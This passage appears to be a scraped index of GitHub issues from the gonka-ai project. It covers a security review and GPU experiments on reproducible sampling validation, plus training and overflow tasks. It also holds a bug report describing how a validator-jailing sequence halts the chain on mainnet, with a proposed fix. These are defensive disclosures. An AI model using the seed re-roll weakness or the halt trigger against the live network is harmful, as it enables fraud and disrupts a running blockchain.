vectors. - Zero observed Stage-1 false positives over a large honest sample. - Cross-node / cross-arch reproducibility CI green, including Go parity. **Should wait** - Any executor `sampler.py` hot-path change beyond shadow mode (perf + correctness risk; GPU verification required). - Turning Stage-1 replay failures into slashing. --- ## 6. Vulnerabilities / edge cases 1. **S1 — seed not bound to `inference_id`** (design): both branches derive `f\"{seed}|{prompt_repr}\"`. The seed component is executor-controllable, so an attacker can locally re-roll seeds until one makes a forged result pass replay; it also makes the check tokenizer-fragile → false fraud. *Highest priority security bug — blocks enforcement.* **Primitive fix in flight: `gonka-ai/vllm#56` (`derive_chain_bound_seed`), not yet wired into a call site (see §2).** 2. **E1 — executor (GPU float) vs validator (CPU decimal) weight paths are not bit-identical** (impl, ADR 0003): `(probs*2^16).round()` on float32 ≠ decimal HALF_EVEN pipeline. Zero-tolerance replay false-rejects real artifacts. *Biggest completeness blocker.* 3. **S3 — no Python↔Go parity implementation** (impl): the chain validator is Go; there is no Go implementation of the decimal pipeline / RNG, and cross-language bit-parity has never been tested. Divergence here = false fraud at scale. *Blocks enforcement.* 4. **A1 — float→string canonicalization** (design/impl): pinned to `repr(f)` on the validator in `_merged` (ADR 0001), but not yet shared with the executor or the Go side. Tied to E1/S3. 5. **S2 — global decimal context mutation** (impl): `_dump` mutates `getcontext()` at import; use `localcontext()` (ADR 0002 proposes this). 6. **Candidate-token ordering mismatch** (impl): one side sorts by token-ID string, another by numeric ID. Even with bit-identical weights, an order mismatch shifts the categorical index → false fraud. Must be pinned to one order on all three sides. 7. **Temperature = 0 (greedy)** bypasses the decimal pipeline and the replay check entirely; Stage 1 contributes *nothing* at temp 0 — only the distance check defends. Acceptable (argmax is deterministic and pre-fill still needs matching argmax), but it means a class of inferences has no sequence binding. Document explicitly or disallow temp-0 in validation. 8. **Top-K clamping** (`top_k` effectively `min(top_k, max_num_logprobs)`): if `top_logprobs` is unset the server must apply a fixed default, and the artifact must record it, or executor/validator reconstruct different distributions. `min_p` empty-set fallback (pick max) and residual tie-break (`(weight, token_id)` lexicographic) must be identical on all sides — no cross-language test yet. 9. **`sample_categorical_weights` total ≤ 0 → returns last index** silently. Consistent across sides, but in zero-tolerance validation a silent fallback can mask an upstream bug; prefer to raise or log. 10. **Distance check unchanged** as the sole defense against wrong-model/quantization; Stage 1 adds nothing there. Enforcement still hinges on distance-threshold calibration, which this work does not address. --- ## 7. Recommended next steps 1. **Land the executor decimal-weight path** (E1 / ADR 0003) behind the flag, first in shadow mode (log float-vs-decimal divergence), then as the artifact source. Requires GPU verification. 2. **Reconcile seed derivation** with the proposal — bind `run_seed` to chain `inference_id` (S1). Primitive already proposed in `gonka-ai/vllm#56`; converge it with PR #13, then **wire it into `gpu_model_runner.py`** and define how MLNode passes `inference_id_from_chain` into vLLM. 3. **Pin one candidate-token order and one float→string form** shared by executor, Python validator, and the Go chain path (A1/S3, ordering). 4. **Write the Go implementation + a Python↔Go parity vector test** (fixed inputs → expected weights + expected token), run in both CIs (S3). This is the gate that \"cross-language reproducibility\" has never actually been tested. 5. **Fix S2** (local decimal context, ADR 0002) and land the integer `deterministic_utils.py` + real unit tests. 6. **Retire the stale `test_sampler_interface.py`** (superseded by the merge). 7. **Continue consolidating on the `_merged` branch**; complete serving-layer orchestration + response fields (`deterministic_sampling_valid`, `distances`) non-enforcing. 8. **Ship the perplexity quick-fix as telemetry** in parallel (low risk, uses existing `get_metric`). 9. **Run the non-enforcing data-collection phase**; gate strict enforcement on the exit criteria in §5. --- ## 8. Requested summary answers - **Matches the two-stage proposal?** Design yes (naming remap + a stronger replay mechanism); one seed-derivation divergence (S1) to reconcile. - **Already implemented?** `v011` has the full skeleton + validator replay/distance (float sampling); `_dump` has the bit-stable integer algorithm (unwired); `_merged` unifies them and adds a pure-CPU validator replay with a passing smoke test. Not end-to-end runnable against real executor artifacts yet. - **Still to modify/create?** Executor decimal-weight path (E1/ADR 0003), seed hardening (S1), Go parity implementation + tests (S3), shared token-ordering/float-string contract, serving orchestration + response fields. - **Ready for soft MLNode integration?** Not yet — but the `_merged` branch is the correct consolidation and is validator-side runnable. - **Keep non-enforcing:** all Stage-1 replay verdicts until E1/S1/S3 are closed and false-positive data is in. - **Data before strict validation:** Stage-1 false-positive rate by model/quant/hardware, tokenizer determinism, realistic perf, Python↔Go parity. - **Vulnerabilities/mismatches:** S1 (seed↔inference_id — primitive fix in flight, `vllm#56`), E1 (executor float vs validator decimal weights), S3 (no Go parity), A1 (float string), token-ordering, S2 (global decimal ctx), temp-0 gap, top-K/default handling. - **Final recommendation:** **Needs additional review.** The integer primitive is adoptable as a library now; the `_merged` branch is the right base to continue on; but the executor hot-path conversion (E1), seed hardening (S1), and cross-language parity (S3) must land — all requiring GPU/protocol changes — before any enforcement. @bonujel commented 2026-07-14 01:16 UTCWe took the review above as the frame and added the empirical layer: experiments on real model output that quantify E1, close S3, and fill part of the §5 data list — plus two findings the review did not anticipate, one of which changes the signed-artifact design.
These are review-level experiments (HuggingFace proxy, 64–128 positions per config, a single GPU architecture). They settle direction and prerequisites; they do not authorize enforcement. This follow-up adds the empirical layer to our #1199 review — the design analysis there stands unchanged.
What the experiments add:
detsample: RNG, decimal pipeline, chain-bound seed, three-valued verdict) is now bit-identical to Python on shared conformance vectors — the \"never actually been tested\" item. Still needs to land in CI.threshold ~0.05 → only fp16 passes ~0.25 → int8 passes too ~0.75 → int4 passes too ```
int4 sits far enough out to be caught; int8 lands an order of magnitude above the honest floor but well below a genuinely different model — i.e. right where a natural threshold would fall.
So the threshold does not merely separate honest from fraud: it implicitly decides which quantizations still count as \"the model.\" That placement is a policy decision, not a measurement.
Open decisions. Consolidated from the review and from building the Go validator against the contract. These are questions, not settled answers — and they are decisions, a different kind of object from the review's finding codes.
responseHash; which tokens' logprobs are signed (the filter's kept set, not a fixed K); the logprobs themselves must be in it; float→string canonicalization, candidate ordering, filter-edge rules + resolved params; a version descriptor. 〔A1 / A2 / §6.6 / §6.8〕top_p, unfiltered). 〔§6.7〕inference_id (gonka-ai/vllm#56) still leaves user_seed request-controlled — bind inputs the executor cannot choose, or commit user_seed on-chain? How does inference_id reach vLLM? Invariant: the validator derives the seed and never trusts the payload's. 〔S1〕Only A and D block progress. A is the foundation — nothing downstream can be wired correctly until it is fixed. D cannot open until E1 lands.
Full experiment report below (setup + coverage against §5 + 7 experiments + mechanisms + next steps).
Full experiment report (click to expand) # GPU experiments — reproducible sampling (#1199) **Setup:** 8×RTX-4090, fp16 (+ int8/int4 via `bitsandbytes`), `gpt2` / `gpt2-large` and `Qwen2.5-0.5B` / `Qwen2.5-1.5B`, 64–128 positions per config. **HuggingFace proxy — not vLLM's own kernels, except Experiment 8, which runs inside a real vLLM engine.\"** Scripts and raw logs: branch `bonujel/vllm@tg/deterministic_sampling_merged`, `dev_notes/reproduce_sampling/e1_experiment/`. Decision register: [gist](https://gist.github.com/bonujel/5bc8c21f7ca376de305b62b6f11a2e27). --- ## 1. Coverage against §5 \"Data to collect before enabling strict enforcement\" | §5 item | Status | |---|---| | Stage-1 false-positive rate — **by model** | ✅ two models (Exp 1) | | …**by quantization** | ⚠️ Stage-1 is precision-agnostic — it replays *signed* logprobs. Measured for **Stage-2** instead (Exp 5) | | …**by hardware / arch** | ⚠️ same-arch **bit-identical** across 8 cards + repeat runs (Exp 6). **Cross-architecture not covered** | | Distance distributions, det-mode on vs off | ⚠️ partial — recompute-noise floor (Exp 3) and honest-vs-fraud separation (Exp 4). The **penalty-reorder** comparison is not done | | Tokenizer determinism across MLNode versions | ❌ not done | | Realistic performance at production batch sizes | ❌ not done | | Python↔Go bit-parity on shared vectors | ✅ done (**S3**) | --- ## 2. Experiments | # | Question | Result | Bears on | |---|---|---|---| | **1** | Does the float executor path false-reject honest positions? | **14–77%**; **0%** with the decimal pipeline | **E1** → **D** | | **2** | How large must the signed support set be? | a fixed top-256 distorts **7–33%** when the nucleus is unbounded → sign **the filter's kept set**, not a fixed K | A1/A2, §6.8 → **A** | | **3** | Can the validator recompute logprobs instead of replaying signed ones? | **No** — batching alone flips **0–8%** of honest positions | → **A** | | **4** | Does the Stage-2 distance check separate honest from fraud, and with which metric? | **~40–65×** with MAE/KL over top-K; the **sampled-token delta overlaps** and cannot gate | → **D** | | **5** | Does a quantized *same* model look like fraud? | precision ladder: honest ≪ int8 < int4 < cheaper model. **int4 caught, int8 a gray zone** | → **D** | | **6** | Is the drift from hardware or from batching? | 8 cards + repeat runs are **bit-identical** → drift is **entirely batch-shape**. Cross-arch untested | → **D** | | **7** | Are the filter-edge rules load-bearing? | a token sits on the `top_p`/`min_p` edge on **5–46%** of positions → the rules fire constantly | §6.8 → **A** | | **8** | Does E1 hold up *inside real vLLM*, not just the HF proxy? | **135/192 = 70.3%** float-vs-decimal divergence live (vs 14–77% offline) — higher because the executor samples in **numeric** token order while the validator uses **string** order (§6.6), so **E1 and §6.6 must be fixed together on the executor**; closes §7-step-1's \"requires GPU verification\" | **E1 + §6.6** → **A/D** | --- ## 3. Mechanisms **Exp 1 — why the float path fails.** The float weights sum to `[65530, 65541]`, **never exactly 65536**. Since the sum ≠ 2^16, the same drawn u64 reduces (`u64 % sum`) to a value uncorrelated with the validator's `u64 % 65536`. Only the decimal pipeline guarantees an exact 2^16 total, so executor == validator. **Exp 3 — why recompute is not reproducible.** Right-padding + a causal mask make a sequence's logits batch-independent in *exact* arithmetic; in float they are not, because batched-GEMM reduction order and kernel selection change with the batch dims. The effect is **~flat across batch size** (1+1 ≈ 1+16) — one co-batched sequence is enough. Magnitude is model-dependent (`gpt2` ≈ 4× `Qwen`). **Exp 4 — why the sampled token alone is not enough.** A cheap model often agrees on the easy/obvious token, so `d_chosen` overlaps between honest and fraud (honest p95 `0.011` vs fraud p5 `0.006` on the Qwen pair). Fraud shows up in the **shape of the whole distribution** — which is why the metric must span the signed support set. **Exp 5 — the precision ladder** (`d_mae` vs the fp16 reference, p50/p95): honest `0.006/0.011` ≪ int8 `0.097/0.200` < int4 `0.364/0.692` < a 3×-smaller model `0.82/2.26` (Qwen; `gpt2-large` agrees). A threshold near ~0.05 accepts only fp16, ~0.25 accepts int8, ~0.75 accepts int4. **Exp 6 — determinism is exact within one architecture.** Across all 8 RTX-4090s and repeated runs, logits are **byte-identical** (0 max abs diff, 0 sample flips, both models). Run-to-run and card-to-card add **zero** drift, which isolates Exp 3's flips entirely to batch shape. **Exp 7 — the boundary fires constantly.** Kept-set membership changes on 5–9% (`Qwen`) to 27–46% (`gpt2`) of positions under recompute noise. Since Stage-1 filters the *same* signed logprobs on both sides, they agree **only if the rule is identical** — a `<` vs `<=` cutoff, a different tie-break, a `top_k` clamp, or a `min_p` empty-set fallback would diverge on that same fraction. --- ## 4. Caveats HF proxy — vLLM's chunked prefill / paged attention are untested and may drift differently. Small samples (64–128 positions per config). One GPU architecture (RTX 4090, one driver); **cross-architecture determinism is the single largest untested risk**. int4 = nf4 only; other schemes (gptq/awq) may land on different rungs. \"Is int8 fraud?\" is a protocol question, not a measurement. --- ## 5. Next steps 1. **Fix A** — the signed-artifact contract, with Exp 2 / 3 / 7 as inputs. 2. **Land the E1 patch** on the executor path, behind the flag, **in shadow first**. 3. **Close the untested gaps** before enforcement: cross-architecture determinism, real-vLLM-kernel behaviour, tokenizer drift, performance at production batch sizes. 4. Keep every Stage-1 verdict **non-enforcing** until D's criteria are met.🔄 Auto-synced from Issue #1199 every hour.
"}, {"location": "community/issues/01200-independent-review-of-poc-decode-results/", "title": "#1200 — Independent review of PoC-decode results", "text": "Independent review of PoC-decode results #1200 Open @tcharchian opened 2026-05-19 23:36 UTC 0 comments Updated 2026-05-19 23:36 UTC up-for-grabsIndependently review and re-check the PoC-decode approach from https://github.com/gonka-ai/gonka/issues/1135 and the Axel-T experiments.
Current PoC correlates reasonably well with inference compute, but memory-usage coverage can be improved. The concern is that specialized versions could significantly accelerate PoC without equivalently improving real inference.
PoC-decode proposes extending Proof-of-Compute from prefill to decode steps.
Context
Relevant materials:
Please use these materials as the source of truth.
🔄 Auto-synced from Issue #1200 every hour.
"}, {"location": "community/issues/01200-independent-review-of-poc-decode-results/#task", "title": "Task", "text": "Review the PoC-decode proposal and independently re-check the results.
The task should be treated as a critical review, not just a confirmation that the implementation runs.
"}, {"location": "community/issues/01200-independent-review-of-poc-decode-results/#review-scope", "title": "Review scope", "text": "Please check:
Review the experiments from #1135 and the linked Axel-T materials.
Confirm whether the reported PoC-decode results hold under independent review.
The current experiments provide the first confirmation of the hypothesis, but independent confirmation on different models is required before integration decisions.
Please identify and run, or define, the minimum additional model checks needed.
Review the Axel-T vLLM branch:
https://github.com/axeltec-software/vllm/tree/axeltec/poc-decode-proposal
Check whether the implementation matches the method described in #1135 and whether it can be prepared for integration into the current vLLM path if the hypothesis is confirmed.
Migration may be painful.
Please identify:
what should be avoided during initial rollout.
Critical risk review
Risk level is medium: there is an initial positive signal, but the method still needs an honest critical review.
Please document:
This task is about independent verification and critical review. If the results are confirmed on different models, the next step can be integration into the current vLLM path.
"}, {"location": "community/issues/01201-p0-training-on-gonka/", "title": "#1201 — [P0] Training on Gonka", "text": "[P0] Training on Gonka #1201 Open @tcharchian opened 2026-05-19 23:46 UTC 0 comments Updated 2026-05-21 22:33 UTC up-for-grabs Priority: High🔄 Auto-synced from Issue #1201 every hour.
"}, {"location": "community/issues/01201-p0-training-on-gonka/#what-does-training-on-gonka-mean", "title": "WHAT DOES TRAINING ON GONKA MEAN?", "text": "Being able to train frontier-level models is an important long-term goal to make AI fully independent of centralized datacenters.
"}, {"location": "community/issues/01201-p0-training-on-gonka/#what-decentralized-training-implies", "title": "What decentralized training implies:", "text": "Source: https://docs.google.com/presentation/d/1dX26zZLWAlLqdRylKQ5FYIZTlsgEt3ZJKKmw5_5PSxw/edit?slide=id.g380f8445137_1_0#slide=id.g380f8445137_1_0
Discussed on GIP: https://discord.com/channels/1336477374442770503/1415622117629624362/1500920059936116807
"}, {"location": "community/issues/01205-chain-halt-markvalidatorfordeletion-jailed-branch-races-come/", "title": "#1205 — chain-halt: `markValidatorForDeletion` jailed branch races CometBFT validator-update lag → slashing fails with ErrNoValidatorFound", "text": "chain-halt: `markValidatorForDeletion` jailed branch races CometBFT validator-update lag → slashing fails with ErrNoValidatorFound #1205 Open @vitaly-andr opened 2026-05-20 02:36 UTC 0 comments Updated 2026-05-20 02:36 UTC🔄 Auto-synced from Issue #1205 every hour.
"}, {"location": "community/issues/01205-chain-halt-markvalidatorfordeletion-jailed-branch-races-come/#summary", "title": "Summary", "text": "In the gonka-ai/cosmos-sdk fork, the jailed branch of markValidatorForDeletion (x/staking/keeper/compute.go:559-563) immediately deletes the validator record and the ValidatorByConsAddr index via deleteValidatorInternal (x/staking/keeper/val_state_change.go:78-126). When SetComputeValidators runs with a set that excludes a still-jailed validator, this branch fires. CometBFT, however, continues to include the deleted validator in LastCommit for ValidatorUpdateDelay blocks (≈ 2 effective blocks: header.Height + 1 + 1 per cometbft state/execution.go's \"next next height\" rule). On the next block, slashing.BeginBlocker (x/slashing/abci.go:24-29) walks LastCommit votes and calls HandleValidatorSignature → GetValidatorByConsAddr (x/slashing/keeper/infractions.go:26-30). The lookup returns a bare stakingtypes.ErrNoValidatorFound → BeginBlocker returns an error → consensus halts.
Deterministic halt under the inference-chain simulation harness with seed 99 and IS_TEST_NET=true (selects the post-ValidatorIndexFixHeight=658087 production path of SetComputeValidators — the same code mainnet runs):
block finalization failed: validator does not exist\nBoth top-level sim tests reproduce this halt deterministically on the current upstream code: - TestFullSimulation_x_Inference_Integrated - TestFullAppSimulation
x/staking/keeper/compute.go:559-563:
// Jailed validators can't be added to power index, so delete them immediately\nif validator.Jailed {\n logger.Info(\"deleting jailed validator immediately\", \"operator\", validator.OperatorAddress)\n return k.deleteValidatorInternal(ctx, validator, valAddr)\n}\ndeleteValidatorInternal wipes the validator record, the ValidatorByConsAddr index, the power index, LastValidatorPower (suppressed via _ =), and self-delegation — all in one EndBlock, with no ValidatorUpdate signalled to CometBFT. The non-jailed branch (compute.go:565-598) does not have this problem: it sets power to zero and re-adds to the power index, so the next ApplyAndReturnValidatorSetUpdates emits a power-0 ValidatorUpdate while the record stays reachable.
This jailed branch was added in commit cefc31d3a8e («Delete jailed immediately», 2025-10-02) to bypass an unrelated error at val_state_change.go:176-184 («should never retrieve a jailed validator from the power store») that would fire if the safe path re-added a jailed validator to the power index. The local symptom was fixed; the CometBFT-side race was not considered.
RestoreValidatorIndex does not cover this", "text": "slashing.BeginBlocker calls k.RestoreValidatorIndex(ctx) on every block before iterating votes (x/slashing/abci.go:24). That heal iterates GetAllValidators() and restores a missing ValidatorByConsAddr entry when the underlying validator record still exists (x/staking/keeper/validator.go:647-669). Here the record itself is gone, so the deleted validator is not in GetAllValidators() and the heal has nothing to restore.
Drop-in for x/staking/keeper/mark_validator_for_deletion_test.go (uses the existing KeeperTestSuite scaffolding): https://gist.github.com/vitaly-andr/83816dc3704211a6720edbf63b45761c
Fails on current code with validator does not exist. Passes once the jailed branch is changed to leave the record reachable for the CometBFT lag window.
I empirically verified two:
Replace deleteValidatorInternal with return nil in the jailed branch. Prevents the halt (sim runs past the trigger point). But the validator lingers as Bonded with Jailed=true and non-zero tokens — DeleteZeroPowerValidators (x/staking/keeper/val_state_change.go:40-74) won't pick it up. UnbondAllMatureValidators exists but is not called from EndBlocker in this fork (x/staking/keeper/abci.go:18-21 only calls BlockValidatorUpdates), so unbonding_time=0 doesn't auto-cleanup. Net: no halt but no cleanup either.
Mirror the non-jailed path's full state reset (zero Tokens, zero DelegatorShares, persist). Triggers a runtime division by zero panic when slashing.Unjail (x/slashing/keeper/unjail.go:33) is later called on this validator and reaches Validator.TokensFromShares (x/staking/types/validator.go:308) — the formula is shares × Tokens / DelegatorShares, and zero denominator panics.
compute.go:559-563:
if validator.Jailed {\n // Zero out Tokens (the power proxy in PoC) but KEEP DelegatorShares.\n // TokensFromShares = shares × Tokens / DelegatorShares — with Tokens=0\n // and DelegatorShares unchanged, the formula returns 0 cleanly and\n // slashing.Unjail no longer panics on stale-jailed validators.\n //\n // jailValidator (val_state_change.go:335) already removed this validator\n // from the power index, so ApplyAndReturnValidatorSetUpdates' main loop\n // won't iterate it. The tail loop over `last` (LastValidatorPower) will\n // emit the power-0 ValidatorUpdate and start bondedToUnbonding.\n // DeleteZeroPowerValidators physically removes the record on the next\n // block, after LastValidatorPower is cleared and CometBFT has been told\n // to drop the validator from its active set.\n validator.Tokens = math.ZeroInt()\n validator.UnbondingIds = []uint64{}\n return k.SetValidator(ctx, validator)\n}\nUnit test PASS with this fix, FAIL without (test at https://gist.github.com/vitaly-andr/83816dc3704211a6720edbf63b45761c).
Full x/staking/keeper test suite: 30 PASS, 21 FAIL — the 21 are pre-existing NoOpBankKeeper-related failures, unchanged from baseline (no regressions introduced by this fix).
inference-chain simulation, seed=99, IS_TEST_NET=true, full 500 blocks × 200 ops: the same two sim tests that deterministically halt on the current upstream code (TestFullSimulation_x_Inference_Integrated and TestFullAppSimulation) BOTH pass to completion when this fix is combined with the in-flight GON-191 fix (Sam Johnson, origin/sj/gon-191-stale-consensus-key-conflicts, commit 5473018e72, not yet merged in main):
--- PASS: TestFullSimulation_x_Inference_Integrated (54.45s)\n height=501 opsCount=25767 inference_completed=8721\n AppHash=2b3f3ae9c02614795179d4b8d377a07e78fecebade1aeade5e041a16114475b3\n--- PASS: TestFullAppSimulation (52.04s)\n height=501 opsCount=25767 inference_completed=8721\n AppHash=2b3f3ae9c02614795179d4b8d377a07e78fecebade1aeade5e041a16114475b3\nSame deterministic AppHash across both tests; no halt, no panic, no SKIP. 282 MsgUnjail attempts processed gracefully in the run (some returning «validator with invalid exchange rate» — clean rejection where the naive fix #2 above would panic).
With this fix alone (no GON-191) the halt is cleared but the sim later SKIPs «empty validator set» because the cleaned-up validators cannot re-register their cons-keys — that's the path GON-191 closes. With GON-191 alone (no this fix) the chain still halts at the same point.
The two fixes are symbiotic. They touch different functions (markValidatorForDeletion's jailed branch vs filterBasedOnExisting + deleteValidatorInternal's defensive cons-addr guard) with no semantic overlap, and compose cleanly. Recommended to land coordinated.
The non-jailed branch (compute.go:573) zeros DelegatorShares as well — the same precondition that caused the divide-by-zero in fix attempt #2 above. On mainnet this is currently masked by DeleteZeroPowerValidators cleaning the validator up on the very next block, but a window where a concurrent MsgUnjail could land and panic does exist. Worth a defensive fix in the non-jailed branch too (or in TokensFromShares directly).
Mainnet vulnerable. The jailed branch of markValidatorForDeletion is on the active mainnet code path. The trigger pattern — jail a validator, then drop them from the next epoch's PoC compute set — is the standard rotation for any validator that goes offline.
Found while implementing simulation tests for #982.
"}, {"location": "community/issues/01219-p0-basic-primitives-for-training/", "title": "#1219 — [P0] Basic primitives for training", "text": "[P0] Basic primitives for training #1219 Open @tcharchian opened 2026-05-21 21:56 UTC 6 comments Updated 2026-07-21 23:07 UTC Priority: HighThe framing is simple: you can prepare any container, it will run across different GPUs in the network, a protocol layer will coordinate interaction between nodes, they will perform training, and then use a protocol-level voting mechanism to determine which participants behaved correctly.
We intentionally ignore the automatic redeployment problem for now. This should be a small-scoped task on mainnet. Put together a lightweight training flow without the heavy logic we have in devshards
"}, {"location": "community/issues/01219-p0-basic-primitives-for-training/#comments-6", "title": "💬 Comments (6)", "text": "@x0152 commented 2026-06-23 19:38 UTCHere's the draft plan and draft of the first-stage PR:
Plan (draft): https://docs.google.com/document/d/1LLZngQ7VoIL3DVT8St40XLE8HcRcxyNXZueyzoQfWuE/edit?tab=t.0 PR (stage 1): #1350
Any help is welcome, from shaping the plan to implementation and reviews
@orvionx commented 2026-06-23 21:44 UTCHi @mtvnastya , I’d like to help with this if there is still an open sub-scope.
My understanding is that this should be a lightweight mainnet training primitive, not a full devshards port: define/register a training workload, dispatch it to ML nodes, track basic execution state/result metadata, and leave redeployment/heavy orchestration out of scope.
I can start with a small PR around the training task/request model + API flow + minimal tests, then follow up with ML-node execution hooks if that direction works.
Could you confirm which part you’d prefer contributors to start with?
@x0152 commented 2026-06-24 22:54 UTCHi @orvionx, I've already started working on this and opened a draft PR for the first stage: #1350. There's also a draft plan here: https://docs.google.com/document/d/1LLZngQ7VoIL3DVT8St40XLE8HcRcxyNXZueyzoQfWuE/edit?tab=t.0
I'd be happy if you could join. Could you take a look at the plan and share your thoughts? Stage 2 can be implemented in parallel with stage 1
@orvionx commented 2026-06-24 23:03 UTCHi @x0152 Thanks for the mention — I’d be happy to join and help with this.
I reviewed the Stage 1 direction from PR #1350. My understanding is that Stage 1 mainly covers the on-chain reservation/release lifecycle, while Stage 2 can focus more on the actual training execution layer and coordination flow between reserved nodes.
My initial thoughts:
I’ll continue reviewing the plan in more detail, but overall I agree that Stage 2 looks suitable to implement in parallel with Stage 1 if the interface boundary is defined clearly.
@x0152 commented 2026-07-21 20:49 UTCHi @orvionx ! Just checking in - how are you doing? Were you able to make any progress on this?
@orvionx commented 2026-07-21 23:07 UTC@x0152 Hi, I didn't make any progress yet
🔄 Auto-synced from Issue #1219 every hour.
"}, {"location": "community/issues/01220-p0-off-chain-devshard-implementation-track/", "title": "#1220 — [P0] Off-chain / devshard implementation track", "text": "[P0] Off-chain / devshard implementation track #1220 Open @tcharchian opened 2026-05-21 22:00 UTC 2 comments Updated 2026-06-24 00:31 UTC up-for-grabs Priority: HighOpen for community contributors. Multiple parallel efforts in this direction are welcome to explore different approaches and accelerate progress.
"}, {"location": "community/issues/01220-p0-off-chain-devshard-implementation-track/#comments-2", "title": "💬 Comments (2)", "text": "@orvionx commented 2026-06-22 23:37 UTCHi, @tcharchian I’d like to work on this issue.
I reviewed the current devshard structure and would like to start with a scoped implementation pass rather than trying to cover the whole off-chain/devshard track at once.
My initial plan is:
devshard packages and current off-chain flowBefore I start the implementation, could you confirm whether there is a preferred first milestone or acceptance criteria for this track? If there is no strict preference, I can start by proposing a small PR around the current devshard flow and iterate from maintainer feedback.
@mtvnastya commented 2026-06-23 21:31 UTChi @orvionx, thanks for you interest!
I'd say that these milestones are very broad to assess at this stage. there are some important differences between inference off-chain logic (devshards) and requirements for training.
specifically, because inference is a very well-defined flow and all devshards are doing exactly the same work all the time. decentralized training, on the other hand, is a research direction with a lot of open questions regarding particular low-communication training methods, validation mechanisms etc. and it should allow researchers to run experiments, test these approaches and iterate quickly.
the first iteration of how communication with main net will work is proposed here
I'd suggest to start with reviewing that issue and the corresponding PR with trainshard v0 plan and join the discussion from there.
🔄 Auto-synced from Issue #1220 every hour.
"}, {"location": "community/issues/01222-p1-int-overflow/", "title": "#1222 — [P1] Int overflow", "text": "[P1] Int overflow #1222 Open @tcharchian opened 2026-05-21 22:30 UTC 6 comments Updated 2026-07-22 05:01 UTC Priority: Medium nice-to-haveThe goal of this is to have in place after this a standard way of handling possible overflows, have it implemented consistently across the entire codebase and to have a check (preferably a static check, an AI persona if necessary as a backup) that flags anything that doesn't use the established pattern
"}, {"location": "community/issues/01222-p1-int-overflow/#comments-6", "title": "💬 Comments (6)", "text": "@olegsuhoparov commented 2026-06-30 13:00 UTCOpened a surgical first PR against main: #1379.
It ports the already-accepted #1100/#1101 overflow fixes to main and adds two small guards for payout uint64->int64 conversion and validation totalWeight accumulation.
I intentionally left broad static analysis and #1017 supply-cap semantics out of scope so this remains reviewable.
@Mayveskii commented 2026-07-07 10:08 UTCHi @olegsuhoparov
Wanted to flag that #1017 (Bitcoin reward supply-cap overflow guards) has been aligned with the overflow-handling direction from this meta-issue.
Changes on branch fix/bitcoin-rewards-supply-cap-overflow (commit 9e4ebf74e):
checkedAddUint64 helper in inference-chain/x/inference/keeper/bitcoin_rewards.go, placed next to the checkedAddInt64 pattern introduced in #1379 .math.MaxUint64 overflow checks in the supply-cap reduction loop and in CalculateParticipantBitcoinRewards with the new helper.Warn to Error.TestCheckedAddUint64TestGetBitcoinSettleAmounts_SupplyCapReductionNoWrapSince #1379 explicitly left the #1017 supply-cap semantics out of scope, #1017 adopts the same helper/logging/test pattern independently rather than conflicting with #1379.
@olegsuhoparov commented 2026-07-08 08:51 UTCThanks for aligning #1017 with the overflow-handling direction from #1379.
That split makes sense to me: #1379 intentionally stays focused on settlement/claim/validation overflow paths and leaves the Bitcoin supply-cap semantics to a separate PR.
One thing to keep in mind is merge order: #1379 changes the CalculateParticipantBitcoinRewards fallback from MaxUint64 to MaxInt64, so if #1379 lands first, #1017 will likely need a small rebase/adaptation around the fallback-path rationale and tests.
I would also double-check that the new #1017 tests assert the overflow guard path directly, not only the final totalRewarded <= remainingSupply invariant. That would make the defense-in-depth coverage clearer for reviewers.
re
Have a good time, Oleg! Direct overflow guard test - added in the latest commit 76d0ab6d0 on fix/bitcoin-rewards-supply-cap-overflow: - TestApplyProportionalSupplyCapReduction_OverflowGuard feeds RewardCoins = MaxUint64 for two participants and asserts the guard fires, total Distributed saturates at MaxUint64, and remaining rewards are zeroed. The log shows the Error-level guard trigger. Merge order — agreed. If #1379 lands first, I'll rebase #1017 and align the CalculateParticipantBitcoinRewards fallback path with the MaxInt64 cap introduced there.
I'll keep waiting maintainers reaction and proto lifecycle move.
@tcharchian commented 2026-07-20 22:20 UTCFirst, prepare a detailed proposal outlining what is planned, why it should be done, the expected outcomes, and the rationale behind the proposed approach. Share the proposal with the community and obtain validation before proceeding with implementation.
@everyone @Mayveskii @olegsuhoparov
@Mayveskii commented 2026-07-22 05:01 UTCre
Got it.
🔄 Auto-synced from Issue #1222 every hour.
"}, {"location": "community/issues/01223-p1-clean-up-the-state/", "title": "#1223 — [P1] Clean up the state", "text": "[P1] Clean up the state #1223 Open @tcharchian opened 2026-05-21 22:34 UTC 1 comment Updated 2026-06-24 01:00 UTC Priority: MediumReview what’s currently stored, identify any leftovers, and remove them.
"}, {"location": "community/issues/01223-p1-clean-up-the-state/#comments-1", "title": "💬 Comments (1)", "text": "@Ryanchen911 commented 2026-05-28 02:09 UTChi @tcharchian ,I will take this one, thank you!
🔄 Auto-synced from Issue #1223 every hour.
"}, {"location": "community/issues/01225-p2-clean-pow-from-mlnode-and-keep-poc-networking-patch-local/", "title": "#1225 — [P2] Clean PoW from MLNode and keep PoC networking patch local", "text": "[P2] Clean PoW from MLNode and keep PoC networking patch local #1225 Open @tcharchian opened 2026-05-21 22:38 UTC 0 comments Updated 2026-06-24 01:02 UTC Priority: LowThe task was completed by Aleksandr @a-kuprin here: https://github.com/gonka-ai/gonka/pull/994
However, it was submitted from his previous account, which is currently blocked, so the PR is not accessible at the moment. Waiting for the account to be unblocked.
🔄 Auto-synced from Issue #1225 every hour.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/", "title": "#1229 — Request for phased DevShards creator allowlist access for local gateway MVP validation", "text": "Request for phased DevShards creator allowlist access for local gateway MVP validation #1229 Closed @sspotanin opened 2026-05-22 16:08 UTC 1 comment Updated 2026-06-23 23:22 UTC"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#summary", "title": "Summary", "text": "I am building an OpenAI-compatible reliability gateway for Gonka-hosted models, starting with moonshotai/Kimi-K2.6.
The goal is to make Gonka-hosted models practically usable for developer and agentic engineering workflows, where reliability requirements are higher than for basic single-turn chat.
This request is for a phased DevShards creator allowlist process:
I am not requesting a public broker listing yet.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#operator", "title": "Operator", "text": "Operator: Sergei Potanin
Project status: pre-MVP / local validation
Final project name and public domain: TBD before public launch
Contact: sspotanin@gmail.com
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#motivation", "title": "Motivation", "text": "I would be happy to continue local gateway development without asking for public access. However, the current DevShards creator allowlist blocks validation of the gateway/operator path from a normal funded Gonka account.
